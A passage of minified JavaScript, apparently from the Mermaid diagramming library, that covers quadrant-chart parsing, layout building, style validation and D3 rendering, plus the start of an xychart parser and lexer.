*)/i,/^(?:classDef\b)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?::::)/i,/^(?:^\w+)/i,/^(?:\s*:\s*\[\s*)/i,/^(?:(1)|(0(.\d+)?))/i,/^(?:\s*\] *)/i,/^(?:\s*,\s*)/i,/^(?:(1)|(0(.\d+)?))/i,/^(?: *quadrantChart *)/i,/^(?:[A-Za-z]+)/i,/^(?::)/i,/^(?:\+)/i,/^(?:,)/i,/^(?:=)/i,/^(?:=)/i,/^(?:\*)/i,/^(?:#)/i,/^(?:[\_])/i,/^(?:\.)/i,/^(?:&)/i,/^(?:-)/i,/^(?:[0-9]+)/i,/^(?:\s)/i,/^(?:;)/i,/^(?:[!"#$%&'*+,-.`?\\_/])/i,/^(?:$)/i],conditions:{class_name:{rules:[28],inclusive:!1},point_y:{rules:[33],inclusive:!1},point_x:{rules:[32],inclusive:!1},point_start:{rules:[30,31],inclusive:!1},acc_descr_multiline:{rules:[11,12],inclusive:!1},acc_descr:{rules:[9],inclusive:!1},acc_title:{rules:[7],inclusive:!1},title:{rules:[5],inclusive:!1},md_string:{rules:[22,23],inclusive:!1},string:{rules:[25,26],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,6,8,10,13,14,15,16,17,18,19,20,21,24,27,29,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],inclusive:!0}}};return he})();fe.lexer=xe;function W(){this.yy={}}return o(W,"Parser"),W.prototype=fe,fe.Parser=W,new W})();FF.parser=FF;O1e=FF});var Ts,V6,B1e=N(()=>{"use strict";yr();La();pt();Oy();Ts=mh(),V6=class{constructor(){this.classes=new Map;this.config=this.getDefaultConfig(),this.themeConfig=this.getDefaultThemeConfig(),this.data=this.getDefaultData()}static{o(this,"QuadrantBuilder")}getDefaultData(){return{titleText:"",quadrant1Text:"",quadrant2Text:"",quadrant3Text:"",quadrant4Text:"",xAxisLeftText:"",xAxisRightText:"",yAxisBottomText:"",yAxisTopText:"",points:[]}}getDefaultConfig(){return{showXAxis:!0,showYAxis:!0,showTitle:!0,chartHeight:ur.quadrantChart?.chartWidth||500,chartWidth:ur.quadrantChart?.chartHeight||500,titlePadding:ur.quadrantChart?.titlePadding||10,titleFontSize:ur.quadrantChart?.titleFontSize||20,quadrantPadding:ur.quadrantChart?.quadrantPadding||5,xAxisLabelPadding:ur.quadrantChart?.xAxisLabelPadding||5,yAxisLabelPadding:ur.quadrantChart?.yAxisLabelPadding||5,xAxisLabelFontSize:ur.quadrantChart?.xAxisLabelFontSize||16,yAxisLabelFontSize:ur.quadrantChart?.yAxisLabelFontSize||16,quadrantLabelFontSize:ur.quadrantChart?.quadrantLabelFontSize||16,quadrantTextTopPadding:ur.quadrantChart?.quadrantTextTopPadding||5,pointTextPadding:ur.quadrantChart?.pointTextPadding||5,pointLabelFontSize:ur.quadrantChart?.pointLabelFontSize||12,pointRadius:ur.quadrantChart?.pointRadius||5,xAxisPosition:ur.quadrantChart?.xAxisPosition||"top",yAxisPosition:ur.quadrantChart?.yAxisPosition||"left",quadrantInternalBorderStrokeWidth:ur.quadrantChart?.quadrantInternalBorderStrokeWidth||1,quadrantExternalBorderStrokeWidth:ur.quadrantChart?.quadrantExternalBorderStrokeWidth||2}}getDefaultThemeConfig(){return{quadrant1Fill:Ts.quadrant1Fill,quadrant2Fill:Ts.quadrant2Fill,quadrant3Fill:Ts.quadrant3Fill,quadrant4Fill:Ts.quadrant4Fill,quadrant1TextFill:Ts.quadrant1TextFill,quadrant2TextFill:Ts.quadrant2TextFill,quadrant3TextFill:Ts.quadrant3TextFill,quadrant4TextFill:Ts.quadrant4TextFill,quadrantPointFill:Ts.quadrantPointFill,quadrantPointTextFill:Ts.quadrantPointTextFill,quadrantXAxisTextFill:Ts.quadrantXAxisTextFill,quadrantYAxisTextFill:Ts.quadrantYAxisTextFill,quadrantTitleFill:Ts.quadrantTitleFill,quadrantInternalBorderStrokeFill:Ts.quadrantInternalBorderStrokeFill,quadrantExternalBorderStrokeFill:Ts.quadrantExternalBorderStrokeFill}}clear(){this.config=this.getDefaultConfig(),this.themeConfig=this.getDefaultThemeConfig(),this.data=this.getDefaultData(),this.classes=new Map,X.info("clear called")}setData(e){this.data={...this.data,...e}}addPoints(e){this.data.points=[...e,...this.data.points]}addClass(e,r){this.classes.set(e,r)}setConfig(e){X.trace("setConfig called with: ",e),this.config={...this.config,...e}}setThemeConfig(e){X.trace("setThemeConfig called with: ",e),this.themeConfig={...this.themeConfig,...e}}calculateSpace(e,r,n,i){let a=this.config.xAxisLabelPadding*2+this.config.xAxisLabelFontSize,s={top:e==="top"&&r?a:0,bottom:e==="bottom"&&r?a:0},l=this.config.yAxisLabelPadding*2+this.config.yAxisLabelFontSize,u={left:this.config.yAxisPosition==="left"&&n?l:0,right:this.config.yAxisPosition==="right"&&n?l:0},h=this.config.titleFontSize+this.config.titlePadding*2,f={top:i?h:0},d=this.config.quadrantPadding+u.left,p=this.config.quadrantPadding+s.top+f.top,m=this.config.chartWidth-this.config.quadrantPadding*2-u.left-u.right,g=this.config.chartHeight-this.config.quadrantPadding*2-s.top-s.bottom-f.top,y=m/2,v=g/2;return{xAxisSpace:s,yAxisSpace:u,titleSpace:f,quadrantSpace:{quadrantLeft:d,quadrantTop:p,quadrantWidth:m,quadrantHalfWidth:y,quadrantHeight:g,quadrantHalfHeight:v}}}getAxisLabels(e,r,n,i){let{quadrantSpace:a,titleSpace:s}=i,{quadrantHalfHeight:l,quadrantHeight:u,quadrantLeft:h,quadrantHalfWidth:f,quadrantTop:d,quadrantWidth:p}=a,m=!!this.data.xAxisRightText,g=!!this.data.yAxisTopText,y=[];return this.data.xAxisLeftText&&r&&y.push({text:this.data.xAxisLeftText,fill:this.themeConfig.quadrantXAxisTextFill,x:h+(m?f/2:0),y:e==="top"?this.config.xAxisLabelPadding+s.top:this.config.xAxisLabelPadding+d+u+this.config.quadrantPadding,fontSize:this.config.xAxisLabelFontSize,verticalPos:m?"center":"left",horizontalPos:"top",rotation:0}),this.data.xAxisRightText&&r&&y.push({text:this.data.xAxisRightText,fill:this.themeConfig.quadrantXAxisTextFill,x:h+f+(m?f/2:0),y:e==="top"?this.config.xAxisLabelPadding+s.top:this.config.xAxisLabelPadding+d+u+this.config.quadrantPadding,fontSize:this.config.xAxisLabelFontSize,verticalPos:m?"center":"left",horizontalPos:"top",rotation:0}),this.data.yAxisBottomText&&n&&y.push({text:this.data.yAxisBottomText,fill:this.themeConfig.quadrantYAxisTextFill,x:this.config.yAxisPosition==="left"?this.config.yAxisLabelPadding:this.config.yAxisLabelPadding+h+p+this.config.quadrantPadding,y:d+u-(g?l/2:0),fontSize:this.config.yAxisLabelFontSize,verticalPos:g?"center":"left",horizontalPos:"top",rotation:-90}),this.data.yAxisTopText&&n&&y.push({text:this.data.yAxisTopText,fill:this.themeConfig.quadrantYAxisTextFill,x:this.config.yAxisPosition==="left"?this.config.yAxisLabelPadding:this.config.yAxisLabelPadding+h+p+this.config.quadrantPadding,y:d+l-(g?l/2:0),fontSize:this.config.yAxisLabelFontSize,verticalPos:g?"center":"left",horizontalPos:"top",rotation:-90}),y}getQuadrants(e){let{quadrantSpace:r}=e,{quadrantHalfHeight:n,quadrantLeft:i,quadrantHalfWidth:a,quadrantTop:s}=r,l=[{text:{text:this.data.quadrant1Text,fill:this.themeConfig.quadrant1TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i+a,y:s,width:a,height:n,fill:this.themeConfig.quadrant1Fill},{text:{text:this.data.quadrant2Text,fill:this.themeConfig.quadrant2TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i,y:s,width:a,height:n,fill:this.themeConfig.quadrant2Fill},{text:{text:this.data.quadrant3Text,fill:this.themeConfig.quadrant3TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i,y:s+n,width:a,height:n,fill:this.themeConfig.quadrant3Fill},{text:{text:this.data.quadrant4Text,fill:this.themeConfig.quadrant4TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i+a,y:s+n,width:a,height:n,fill:this.themeConfig.quadrant4Fill}];for(let u of l)u.text.x=u.x+u.width/2,this.data.points.length===0?(u.text.y=u.y+u.height/2,u.text.horizontalPos="middle"):(u.text.y=u.y+this.config.quadrantTextTopPadding,u.text.horizontalPos="top");return l}getQuadrantPoints(e){let{quadrantSpace:r}=e,{quadrantHeight:n,quadrantLeft:i,quadrantTop:a,quadrantWidth:s}=r,l=Tl().domain([0,1]).range([i,s+i]),u=Tl().domain([0,1]).range([n+a,a]);return this.data.points.map(f=>{let d=this.classes.get(f.className);return d&&(f={...d,...f}),{x:l(f.x),y:u(f.y),fill:f.color??this.themeConfig.quadrantPointFill,radius:f.radius??this.config.pointRadius,text:{text:f.text,fill:this.themeConfig.quadrantPointTextFill,x:l(f.x),y:u(f.y)+this.config.pointTextPadding,verticalPos:"center",horizontalPos:"top",fontSize:this.config.pointLabelFontSize,rotation:0},strokeColor:f.strokeColor??this.themeConfig.quadrantPointFill,strokeWidth:f.strokeWidth??"0px"}})}getBorders(e){let r=this.config.quadrantExternalBorderStrokeWidth/2,{quadrantSpace:n}=e,{quadrantHalfHeight:i,quadrantHeight:a,quadrantLeft:s,quadrantHalfWidth:l,quadrantTop:u,quadrantWidth:h}=n;return[{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s-r,y1:u,x2:s+h+r,y2:u},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s+h,y1:u+r,x2:s+h,y2:u+a-r},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s-r,y1:u+a,x2:s+h+r,y2:u+a},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s,y1:u+r,x2:s,y2:u+a-r},{strokeFill:this.themeConfig.quadrantInternalBorderStrokeFill,strokeWidth:this.config.quadrantInternalBorderStrokeWidth,x1:s+l,y1:u+r,x2:s+l,y2:u+a-r},{strokeFill:this.themeConfig.quadrantInternalBorderStrokeFill,strokeWidth:this.config.quadrantInternalBorderStrokeWidth,x1:s+r,y1:u+i,x2:s+h-r,y2:u+i}]}getTitle(e){if(e)return{text:this.data.titleText,fill:this.themeConfig.quadrantTitleFill,fontSize:this.config.titleFontSize,horizontalPos:"top",verticalPos:"center",rotation:0,y:this.config.titlePadding,x:this.config.chartWidth/2}}build(){let e=this.config.showXAxis&&!!(this.data.xAxisLeftText||this.data.xAxisRightText),r=this.config.showYAxis&&!!(this.data.yAxisTopText||this.data.yAxisBottomText),n=this.config.showTitle&&!!this.data.titleText,i=this.data.points.length>0?"bottom":this.config.xAxisPosition,a=this.calculateSpace(i,e,r,n);return{points:this.getQuadrantPoints(a),quadrants:this.getQuadrants(a),axisLabels:this.getAxisLabels(i,e,r,a),borderLines:this.getBorders(a),title:this.getTitle(n)}}}});function $F(t){return!/^#?([\dA-Fa-f]{6}|[\dA-Fa-f]{3})$/.test(t)}function F1e(t){return!/^\d+$/.test(t)}function $1e(t){return!/^\d+px$/.test(t)}var s0,z1e=N(()=>{"use strict";s0=class extends Error{static{o(this,"InvalidStyleError")}constructor(e,r,n){super(`value for ${e} ${r} is invalid, please use a valid ${n}`),this.name="InvalidStyleError"}};o($F,"validateHexCode");o(F1e,"validateNumber");o($1e,"validateSizeInPixels")});function sh(t){return sr(t.trim(),nZe)}function iZe(t){Ca.setData({quadrant1Text:sh(t.text)})}function aZe(t){Ca.setData({quadrant2Text:sh(t.text)})}function sZe(t){Ca.setData({quadrant3Text:sh(t.text)})}function oZe(t){Ca.setData({quadrant4Text:sh(t.text)})}function lZe(t){Ca.setData({xAxisLeftText:sh(t.text)})}function cZe(t){Ca.setData({xAxisRightText:sh(t.text)})}function uZe(t){Ca.setData({yAxisTopText:sh(t.text)})}function hZe(t){Ca.setData({yAxisBottomText:sh(t.text)})}function zF(t){let e={};for(let r of t){let[n,i]=r.trim().split(/\s*:\s*/);if(n==="radius"){if(F1e(i))throw new s0(n,i,"number");e.radius=parseInt(i)}else if(n==="color"){if($F(i))throw new s0(n,i,"hex code");e.color=i}else if(n==="stroke-color"){if($F(i))throw new s0(n,i,"hex code");e.strokeColor=i}else if(n==="stroke-width"){if($1e(i))throw new s0(n,i,"number of pixels (eg. 10px)");e.strokeWidth=i}else throw new Error(`style named ${n} is not supported.`)}return e}function fZe(t,e,r,n,i){let a=zF(i);Ca.addPoints([{x:r,y:n,text:sh(t.text),className:e,...a}])}function dZe(t,e){Ca.addClass(t,zF(e))}function pZe(t){Ca.setConfig({chartWidth:t})}function mZe(t){Ca.setConfig({chartHeight:t})}function gZe(){let t=ge(),{themeVariables:e,quadrantChart:r}=t;return r&&Ca.setConfig(r),Ca.setThemeConfig({quadrant1Fill:e.quadrant1Fill,quadrant2Fill:e.quadrant2Fill,quadrant3Fill:e.quadrant3Fill,quadrant4Fill:e.quadrant4Fill,quadrant1TextFill:e.quadrant1TextFill,quadrant2TextFill:e.quadrant2TextFill,quadrant3TextFill:e.quadrant3TextFill,quadrant4TextFill:e.quadrant4TextFill,quadrantPointFill:e.quadrantPointFill,quadrantPointTextFill:e.quadrantPointTextFill,quadrantXAxisTextFill:e.quadrantXAxisTextFill,quadrantYAxisTextFill:e.quadrantYAxisTextFill,quadrantExternalBorderStrokeFill:e.quadrantExternalBorderStrokeFill,quadrantInternalBorderStrokeFill:e.quadrantInternalBorderStrokeFill,quadrantTitleFill:e.quadrantTitleFill}),Ca.setData({titleText:Pr()}),Ca.build()}var nZe,Ca,yZe,G1e,V1e=N(()=>{"use strict";Xt();gr();ci();B1e();z1e();nZe=ge();o(sh,"textSanitizer");Ca=new V6;o(iZe,"setQuadrant1Text");o(aZe,"setQuadrant2Text");o(sZe,"setQuadrant3Text");o(oZe,"setQuadrant4Text");o(lZe,"setXAxisLeftText");o(cZe,"setXAxisRightText");o(uZe,"setYAxisTopText");o(hZe,"setYAxisBottomText");o(zF,"parseStyles");o(fZe,"addPoint");o(dZe,"addClass");o(pZe,"setWidth");o(mZe,"setHeight");o(gZe,"getQuadrantData");yZe=o(function(){Ca.clear(),Sr()},"clear"),G1e={setWidth:pZe,setHeight:mZe,setQuadrant1Text:iZe,setQuadrant2Text:aZe,setQuadrant3Text:sZe,setQuadrant4Text:oZe,setXAxisLeftText:lZe,setXAxisRightText:cZe,setYAxisTopText:uZe,setYAxisBottomText:hZe,parseStyles:zF,addPoint:fZe,addClass:dZe,getQuadrantData:gZe,clear:yZe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir}});var vZe,U1e,H1e=N(()=>{"use strict";yr();Xt();pt();Ei();vZe=o((t,e,r,n)=>{function i(C){return C==="top"?"hanging":"middle"}o(i,"getDominantBaseLine");function a(C){return C==="left"?"start":"middle"}o(a,"getTextAnchor");function s(C){return`translate(${C.x}, ${C.y}) rotate(${C.rotation||0})`}o(s,"getTransformation");let l=ge();X.debug(`Rendering quadrant chart +`+t);let u=l.securityLevel,h;u==="sandbox"&&(h=qe("#i"+e));let d=(u==="sandbox"?qe(h.nodes()[0].contentDocument.body):qe("body")).select(`[id="${e}"]`),p=d.append("g").attr("class","main"),m=l.quadrantChart?.chartWidth??500,g=l.quadrantChart?.chartHeight??500;mn(d,g,m,l.quadrantChart?.useMaxWidth??!0),d.attr("viewBox","0 0 "+m+" "+g),n.db.setHeight(g),n.db.setWidth(m);let y=n.db.getQuadrantData(),v=p.append("g").attr("class","quadrants"),x=p.append("g").attr("class","border"),b=p.append("g").attr("class","data-points"),T=p.append("g").attr("class","labels"),S=p.append("g").attr("class","title");y.title&&S.append("text").attr("x",0).attr("y",0).attr("fill",y.title.fill).attr("font-size",y.title.fontSize).attr("dominant-baseline",i(y.title.horizontalPos)).attr("text-anchor",a(y.title.verticalPos)).attr("transform",s(y.title)).text(y.title.text),y.borderLines&&x.selectAll("line").data(y.borderLines).enter().append("line").attr("x1",C=>C.x1).attr("y1",C=>C.y1).attr("x2",C=>C.x2).attr("y2",C=>C.y2).style("stroke",C=>C.strokeFill).style("stroke-width",C=>C.strokeWidth);let w=v.selectAll("g.quadrant").data(y.quadrants).enter().append("g").attr("class","quadrant");w.append("rect").attr("x",C=>C.x).attr("y",C=>C.y).attr("width",C=>C.width).attr("height",C=>C.height).attr("fill",C=>C.fill),w.append("text").attr("x",0).attr("y",0).attr("fill",C=>C.text.fill).attr("font-size",C=>C.text.fontSize).attr("dominant-baseline",C=>i(C.text.horizontalPos)).attr("text-anchor",C=>a(C.text.verticalPos)).attr("transform",C=>s(C.text)).text(C=>C.text.text),T.selectAll("g.label").data(y.axisLabels).enter().append("g").attr("class","label").append("text").attr("x",0).attr("y",0).text(C=>C.text).attr("fill",C=>C.fill).attr("font-size",C=>C.fontSize).attr("dominant-baseline",C=>i(C.horizontalPos)).attr("text-anchor",C=>a(C.verticalPos)).attr("transform",C=>s(C));let A=b.selectAll("g.data-point").data(y.points).enter().append("g").attr("class","data-point");A.append("circle").attr("cx",C=>C.x).attr("cy",C=>C.y).attr("r",C=>C.radius).attr("fill",C=>C.fill).attr("stroke",C=>C.strokeColor).attr("stroke-width",C=>C.strokeWidth),A.append("text").attr("x",0).attr("y",0).text(C=>C.text.text).attr("fill",C=>C.text.fill).attr("font-size",C=>C.text.fontSize).attr("dominant-baseline",C=>i(C.text.horizontalPos)).attr("text-anchor",C=>a(C.text.verticalPos)).attr("transform",C=>s(C.text))},"draw"),U1e={draw:vZe}});var q1e={};dr(q1e,{diagram:()=>xZe});var xZe,W1e=N(()=>{"use strict";P1e();V1e();H1e();xZe={parser:O1e,db:G1e,renderer:U1e,styles:o(()=>"","styles")}});var GF,j1e,K1e=N(()=>{"use strict";GF=(function(){var t=o(function(O,M,P,B){for(P=P||{},B=O.length;B--;P[O[B]]=M);return P},"o"),e=[1,10,12,14,16,18,19,21,23],r=[2,6],n=[1,3],i=[1,5],a=[1,6],s=[1,7],l=[1,5,10,12,14,16,18,19,21,23,34,35,36],u=[1,25],h=[1,26],f=[1,28],d=[1,29],p=[1,30],m=[1,31],g=[1,32],y=[1,33],v=[1,34],x=[1,35],b=[1,36],T=[1,37],S=[1,43],w=[1,42],k=[1,47],A=[1,50],C=[1,10,12,14,16,18,19,21,23,34,35,36],R=[1,10,12,14,16,18,19,21,23,24,26,27,28,34,35,36],I=[1,10,12,14,16,18,19,21,23,24,26,27,28,34,35,36,41,42,43,44,45,46,47,48,49,50],L=[1,64],E={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,eol:4,XYCHART:5,chartConfig:6,document:7,CHART_ORIENTATION:8,statement:9,title:10,text:11,X_AXIS:12,parseXAxis:13,Y_AXIS:14,parseYAxis:15,LINE:16,plotData:17,BAR:18,acc_title:19,acc_title_value:20,acc_descr:21,acc_descr_value:22,acc_descr_multiline_value:23,SQUARE_BRACES_START:24,commaSeparatedNumbers:25,SQUARE_BRACES_END:26,NUMBER_WITH_DECIMAL:27,COMMA:28,xAxisData:29,bandData:30,ARROW_DELIMITER:31,commaSeparatedTexts:32,yAxisData:33,NEWLINE:34,SEMI:35,EOF:36,alphaNum:37,STR:38,MD_STR:39,alphaNumToken:40,AMP:41,NUM:42,ALPHA:43,PLUS:44,EQUALS:45,MULT:46,DOT:47,BRKT:48,MINUS:49,UNDERSCORE:50,$accept:0,$end:1},terminals_:{2:"error",5:"XYCHART",8:"CHART_ORIENTATION",10:"title",12:"X_AXIS",14:"Y_AXIS",16:"LINE",18:"BAR",19:"acc_title",20:"acc_title_value",21:"acc_descr",22:"acc_descr_value",23:"acc_descr_multiline_value",24:"SQUARE_BRACES_START",26:"SQUARE_BRACES_END",27:"NUMBER_WITH_DECIMAL",28:"COMMA",31:"ARROW_DELIMITER",34:"NEWLINE",35:"SEMI",36:"EOF",38:"STR",39:"MD_STR",41:"AMP",42:"NUM",43:"ALPHA",44:"PLUS",45:"EQUALS",46:"MULT",47:"DOT",48:"BRKT",49:"MINUS",50:"UNDERSCORE"},productions_:[0,[3,2],[3,3],[3,2],[3,1],[6,1],[7,0],[7,2],[9,2],[9,2],[9,2],[9,2],[9,2],[9,3],[9,2],[9,3],[9,2],[9,2],[9,1],[17,3],[25,3],[25,1],[13,1],[13,2],[13,1],[29,1],[29,3],[30,3],[32,3],[32,1],[15,1],[15,2],[15,1],[33,3],[4,1],[4,1],[4,1],[11,1],[11,1],[11,1],[37,1],[37,2],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1]],performAction:o(function(M,P,B,F,G,$,U){var j=$.length-1;switch(G){case 5:F.setOrientation($[j]);break;case 9:F.setDiagramTitle($[j].text.trim());break;case 12:F.setLineData({text:"",type:"text"},$[j]);break;case 13:F.setLineData($[j-1],$[j]);break;case 14:F.setBarData({text:"",type:"text"},$[j]);break;case 15:F.setBarData($[j-1],$[j]);break;case 16:this.$=$[j].trim(),F.setAccTitle(this.$);break;case 17:case 18:this.$=$[j].trim(),F.setAccDescription(this.$);break;case 19:this.$=$[j-1];break;case 20:this.$=[Number($[j-2]),...$[j]];break;case 21:this.$=[Number($[j])];break;case 22:F.setXAxisTitle($[j]);break;case 23:F.setXAxisTitle($[j-1]);break;case 24:F.setXAxisTitle({type:"text",text:""});break;case 25:F.setXAxisBand($[j]);break;case 26:F.setXAxisRangeData(Number($[j-2]),Number($[j]));break;case 27:this.$=$[j-1];break;case 28:this.$=[$[j-2],...$[j]];break;case 29:this.$=[$[j]];break;case 30:F.setYAxisTitle($[j]);break;case 31:F.setYAxisTitle($[j-1]);break;case 32:F.setYAxisTitle({type:"text",text:""});break;case 33:F.setYAxisRangeData(Number($[j-2]),Number($[j]));break;case 37:this.$={text:$[j],type:"text"};break;case 38:this.$={text:$[j],type:"text"};break;case 39:this.$={text:$[j],type:"markdown"};break;case 40:this.$=$[j];break;case 41:this.$=$[j-1]+""+$[j];break}},"anonymous"),table:[t(e,r,{3:1,4:2,7:4,5:n,34:i,35:a,36:s}),{1:[3]},t(e,r,{4:2,7:4,3:8,5:n,34:i,35:a,36:s}),t(e,r,{4:2,7:4,6:9,3:10,5:n,8:[1,11],34:i,35:a,36:s}),{1:[2,4],9:12,10:[1,13],12:[1,14],14:[1,15],16:[1,16],18:[1,17],19:[1,18],21:[1,19],23:[1,20]},t(l,[2,34]),t(l,[2,35]),t(l,[2,36]),{1:[2,1]},t(e,r,{4:2,7:4,3:21,5:n,34:i,35:a,36:s}),{1:[2,3]},t(l,[2,5]),t(e,[2,7],{4:22,34:i,35:a,36:s}),{11:23,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:39,13:38,24:S,27:w,29:40,30:41,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:45,15:44,27:k,33:46,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:49,17:48,24:A,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:52,17:51,24:A,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{20:[1,53]},{22:[1,54]},t(C,[2,18]),{1:[2,2]},t(C,[2,8]),t(C,[2,9]),t(R,[2,37],{40:55,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T}),t(R,[2,38]),t(R,[2,39]),t(I,[2,40]),t(I,[2,42]),t(I,[2,43]),t(I,[2,44]),t(I,[2,45]),t(I,[2,46]),t(I,[2,47]),t(I,[2,48]),t(I,[2,49]),t(I,[2,50]),t(I,[2,51]),t(C,[2,10]),t(C,[2,22],{30:41,29:56,24:S,27:w}),t(C,[2,24]),t(C,[2,25]),{31:[1,57]},{11:59,32:58,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},t(C,[2,11]),t(C,[2,30],{33:60,27:k}),t(C,[2,32]),{31:[1,61]},t(C,[2,12]),{17:62,24:A},{25:63,27:L},t(C,[2,14]),{17:65,24:A},t(C,[2,16]),t(C,[2,17]),t(I,[2,41]),t(C,[2,23]),{27:[1,66]},{26:[1,67]},{26:[2,29],28:[1,68]},t(C,[2,31]),{27:[1,69]},t(C,[2,13]),{26:[1,70]},{26:[2,21],28:[1,71]},t(C,[2,15]),t(C,[2,26]),t(C,[2,27]),{11:59,32:72,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},t(C,[2,33]),t(C,[2,19]),{25:73,27:L},{26:[2,28]},{26:[2,20]}],defaultActions:{8:[2,1],10:[2,3],21:[2,2],72:[2,28],73:[2,20]},parseError:o(function(M,P){if(P.recoverable)this.trace(M);else{var B=new Error(M);throw B.hash=P,B}},"parseError"),parse:o(function(M){var P=this,B=[0],F=[],G=[null],$=[],U=this.table,j="",te=0,Y=0,oe=0,J=2,ue=1,re=$.slice.call(arguments,1),ee=Object.create(this.lexer),Z={yy:{}};for(var K in this.yy)Object.prototype.hasOwnProperty.call(this.yy,K)&&(Z.yy[K]=this.yy[K]);ee.setInput(M,Z.yy),Z.yy.lexer=ee,Z.yy.parser=this,typeof ee.yylloc>"u"&&(ee.yylloc={});var ae=ee.yylloc;$.push(ae);var Q=ee.options&&ee.options.ranges;typeof Z.yy.parseError=="function"?this.parseError=Z.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function de(fe){B.length=B.length-2*fe,G.length=G.length-fe,$.length=$.length-fe}o(de,"popStack");function ne(){var fe;return fe=F.pop()||ee.lex()||ue,typeof fe!="number"&&(fe instanceof Array&&(F=fe,fe=F.pop()),fe=P.symbols_[fe]||fe),fe}o(ne,"lex");for(var Te,q,Ve,pe,Be,Ye,He={},Le,Ie,Ne,Ce;;){if(Ve=B[B.length-1],this.defaultActions[Ve]?pe=this.defaultActions[Ve]:((Te===null||typeof Te>"u")&&(Te=ne()),pe=U[Ve]&&U[Ve][Te]),typeof pe>"u"||!pe.length||!pe[0]){var Fe="";Ce=[];for(Le in U[Ve])this.terminals_[Le]&&Le>J&&Ce.push("'"+this.terminals_[Le]+"'");ee.showPosition?Fe="Parse error on line "+(te+1)+`: +`+ee.showPosition()+` +Expecting `+Ce.join(", ")+", got '"+(this.terminals_[Te]||Te)+"'":Fe="Parse error on line "+(te+1)+": Unexpected "+(Te==ue?"end of input":"'"+(this.terminals_[Te]||Te)+"'"),this.parseError(Fe,{text:ee.match,token:this.terminals_[Te]||Te,line:ee.yylineno,loc:ae,expected:Ce})}if(pe[0]instanceof Array&&pe.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Ve+", token: "+Te);switch(pe[0]){case 1:B.push(Te),G.push(ee.yytext),$.push(ee.yylloc),B.push(pe[1]),Te=null,q?(Te=q,q=null):(Y=ee.yyleng,j=ee.yytext,te=ee.yylineno,ae=ee.yylloc,oe>0&&oe--);break;case 2:if(Ie=this.productions_[pe[1]][1],He.$=G[G.length-Ie],He._$={first_line:$[$.length-(Ie||1)].first_line,last_line:$[$.length-1].last_line,first_column:$[$.length-(Ie||1)].first_column,last_column:$[$.length-1].last_column},Q&&(He._$.range=[$[$.length-(Ie||1)].range[0],$[$.length-1].range[1]]),Ye=this.performAction.apply(He,[j,Y,te,Z.yy,pe[1],G,$].concat(re)),typeof Ye<"u")return Ye;Ie&&(B=B.slice(0,-1*Ie*2),G=G.slice(0,-1*Ie),$=$.slice(0,-1*Ie)),B.push(this.productions_[pe[1]][0]),G.push(He.$),$.push(He._$),Ne=U[B[B.length-2]][B[B.length-1]],B.push(Ne);break;case 3:return!0}}return!0},"parse")},D=(function(){var O={EOF:1,parseError:o(function(P,B){if(this.yy.parser)this.yy.parser.parseError(P,B);else throw new Error(P)},"parseError"),setInput:o(function(M,P){return this.yy=P||this.yy||{},this._input=M,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var M=this._input[0];this.yytext+=M,this.yyleng++,this.offset++,this.match+=M,this.matched+=M;var P=M.match(/(?:\r\n?|\n).*/g);return P?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),M},"input"),unput:o(function(M){var P=M.length,B=M.split(/(?:\r\n?|\n)/g);this._input=M+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-P),this.offset-=P;var F=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),B.length-1&&(this.yylineno-=B.length-1);var G=this.yylloc.range;return 